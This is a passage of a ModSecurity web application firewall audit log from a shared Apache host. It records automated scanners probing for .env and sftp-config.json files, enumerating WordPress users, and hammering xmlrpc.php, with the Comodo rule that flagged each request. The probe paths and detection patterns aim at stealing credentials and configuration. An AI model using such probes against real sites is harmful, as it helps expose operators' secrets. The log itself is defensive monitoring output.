"apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.dev"] [unique_id "aE9fN_thHqQhfrOWofuLEwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032183214219 654105 (- - -) Stopwatch2: 1750032183214219 654105; combined=2017, p1=414, p2=1532, p3=0, p4=0, p5=71, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8be8b714-Z-- --ec39bb43-A-- [16/Jun/2025:05:33:12.891016 +0530] aE9fQNNEcm-DhAkC0ibY3AAAAAY 185.177.72.210 53594 127.0.0.1 7081 --ec39bb43-B-- GET /wordpress/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec39bb43-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d4abcf3a0a10cc32a9563579cfe56b61750032192; expires=Mon, 16 Jun 2025 01:03:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec39bb43-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wordpress/.env"] [unique_id "aE9fQNNEcm-DhAkC0ibY3AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032192207379 683710 (- - -) Stopwatch2: 1750032192207379 683710; combined=1873, p1=407, p2=1366, p3=0, p4=0, p5=99, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec39bb43-Z-- --d6c9cf36-A-- [16/Jun/2025:05:33:14.296690 +0530] aE9fQdNEcm-DhAkC0ibY3QAAAAY 128.199.112.101 53734 127.0.0.1 7081 --d6c9cf36-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d6c9cf36-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d6c9cf36-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9fQdNEcm-DhAkC0ibY3QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032193346310 950435 (- - -) Stopwatch2: 1750032193346310 950435; combined=2186, p1=388, p2=1390, p3=48, p4=65, p5=182, sr=112, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6c9cf36-Z-- --34cfb93d-A-- [16/Jun/2025:05:33:49.284078 +0530] aE9fZPthHqQhfrOWofuLKwAAAAA 146.70.194.228 54704 127.0.0.1 7081 --34cfb93d-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.rooferscombine.com X-Real-IP: 146.70.194.228 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --34cfb93d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.rooferscombine.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --34cfb93d-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.rooferscombine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.rooferscombine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.rooferscombine.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9fZPthHqQhfrOWofuLKwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rooferscombine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032228480420 803740 (- - -) Stopwatch2: 1750032228480420 803740; combined=1843, p1=317, p2=1449, p3=0, p4=0, p5=76, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34cfb93d-Z-- --a255bf2a-A-- [16/Jun/2025:05:34:14.142480 +0530] aE9ffdVsbyFDndheOrkxqgAAAAE 128.199.112.101 42970 127.0.0.1 7081 --a255bf2a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a255bf2a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a255bf2a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ffdVsbyFDndheOrkxqgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032253092538 1049997 (- - -) Stopwatch2: 1750032253092538 1049997; combined=2365, p1=393, p2=1546, p3=59, p4=70, p5=182, sr=108, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a255bf2a-Z-- --1b623617-A-- [16/Jun/2025:05:34:16.618269 +0530] aE9ff6pdvXW4_hknQUUx2AAAAAo 185.177.72.210 43092 127.0.0.1 7081 --1b623617-B-- GET /:8008/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b623617-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0dcdad623c8ff90942ca7e570a684efc1750032256; expires=Mon, 16 Jun 2025 01:04:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b623617-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/prod/.env"] [unique_id "aE9ff6pdvXW4_hknQUUx2AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032255916397 701946 (- - -) Stopwatch2: 1750032255916397 701946; combined=2577, p1=537, p2=1919, p3=0, p4=0, p5=120, sr=135, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b623617-Z-- --da78e264-A-- [16/Jun/2025:05:34:24.206233 +0530] aE9fh1EBvmqd8j7Fed2o6QAAABM 185.177.72.210 49028 127.0.0.1 7081 --da78e264-B-- GET /staging/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --da78e264-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e66362bb20334177051abbd28e796de61750032264; expires=Mon, 16 Jun 2025 01:04:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --da78e264-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staging/api/.env"] [unique_id "aE9fh1EBvmqd8j7Fed2o6QAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032263526164 680158 (- - -) Stopwatch2: 1750032263526164 680158; combined=2355, p1=463, p2=1783, p3=0, p4=0, p5=109, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --da78e264-Z-- --8ea4fb38-A-- [16/Jun/2025:05:34:27.277122 +0530] aE9fiqgCBnvq3q-iXzIBZwAAABc 185.177.72.210 49166 127.0.0.1 7081 --8ea4fb38-B-- GET /.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8ea4fb38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8a01b13e4835463c88369a496910631a1750032267; expires=Mon, 16 Jun 2025 01:04:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8ea4fb38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.debug"] [unique_id "aE9fiqgCBnvq3q-iXzIBZwAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032266638171 639025 (- - -) Stopwatch2: 1750032266638171 639025; combined=2398, p1=440, p2=1856, p3=0, p4=0, p5=102, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ea4fb38-Z-- --36db0829-A-- [16/Jun/2025:05:34:34.957243 +0530] aE9fkq9aeHfzqoyJ7PMgjwAAABY 185.177.72.210 60544 127.0.0.1 7081 --36db0829-B-- GET /:8008/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36db0829-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47af7bc259d7ca46759dd3461017628b1750032274; expires=Mon, 16 Jun 2025 01:04:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36db0829-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env_hidden"] [unique_id "aE9fkq9aeHfzqoyJ7PMgjwAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032274291435 665871 (- - -) Stopwatch2: 1750032274291435 665871; combined=1955, p1=396, p2=1476, p3=0, p4=0, p5=83, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36db0829-Z-- --0454a609-A-- [16/Jun/2025:05:34:47.572718 +0530] aE9fng9THibLN0xLxETs1wAAAAk 185.177.72.210 48308 127.0.0.1 7081 --0454a609-B-- GET /:9000/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0454a609-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8345b6e410e6d71622b186885369a2101750032287; expires=Mon, 16 Jun 2025 01:04:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0454a609-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/src/.env"] [unique_id "aE9fng9THibLN0xLxETs1wAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032286923658 649151 (- - -) Stopwatch2: 1750032286923658 649151; combined=1830, p1=422, p2=1311, p3=0, p4=0, p5=97, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0454a609-Z-- --4437750c-A-- [16/Jun/2025:05:34:48.592748 +0530] aE9fn6gCBnvq3q-iXzIBcgAAABc 185.177.72.210 48348 127.0.0.1 7081 --4437750c-B-- GET /:8888/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4437750c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=104bf2eace051d111a5a2174a92600ba1750032288; expires=Mon, 16 Jun 2025 01:04:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4437750c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/staging2/.env"] [unique_id "aE9fn6gCBnvq3q-iXzIBcgAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032287918436 674376 (- - -) Stopwatch2: 1750032287918436 674376; combined=2551, p1=529, p2=1931, p3=0, p4=0, p5=91, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4437750c-Z-- --46eed176-A-- [16/Jun/2025:05:35:14.568253 +0530] aE9fudNEcm-DhAkC0ibZDwAAAAY 128.199.112.101 60382 127.0.0.1 7081 --46eed176-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --46eed176-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --46eed176-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9fudNEcm-DhAkC0ibZDwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032313609181 959131 (- - -) Stopwatch2: 1750032313609181 959131; combined=2378, p1=372, p2=1565, p3=51, p4=72, p5=195, sr=111, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46eed176-Z-- --879ae67b-A-- [16/Jun/2025:05:35:42.600540 +0530] aE9f1apdvXW4_hknQUUx_gAAAAo 15.188.59.76 55826 127.0.0.1 7081 --879ae67b-B-- GET /sftp-config.json HTTP/1.0 Host: www.tryons.ai X-Real-IP: 15.188.59.76 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 Accept-Encoding: gzip, deflate Accept: */* --879ae67b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.tryons.ai/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --879ae67b-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.tryons.ai"] [uri "/sftp-config.json"] [unique_id "aE9f1apdvXW4_hknQUUx_gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/tryons.ai/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032341880974 719648 (- - -) Stopwatch2: 1750032341880974 719648; combined=1922, p1=409, p2=1384, p3=0, p4=0, p5=128, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --879ae67b-Z-- --d9149423-A-- [16/Jun/2025:05:36:14.704768 +0530] aE9f9fbo0R64L12N_alRvgAAAAQ 128.199.112.101 57108 127.0.0.1 7081 --d9149423-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d9149423-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d9149423-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9f9fbo0R64L12N_alRvgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032373755023 949801 (- - -) Stopwatch2: 1750032373755023 949801; combined=3051, p1=502, p2=2132, p3=41, p4=92, p5=176, sr=129, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9149423-Z-- --a0e42b53-A-- [16/Jun/2025:05:36:19.049306 +0530] aE9f-vthHqQhfrOWofuLfwAAAAA 185.177.72.210 57288 127.0.0.1 7081 --a0e42b53-B-- GET /:9000/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0e42b53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 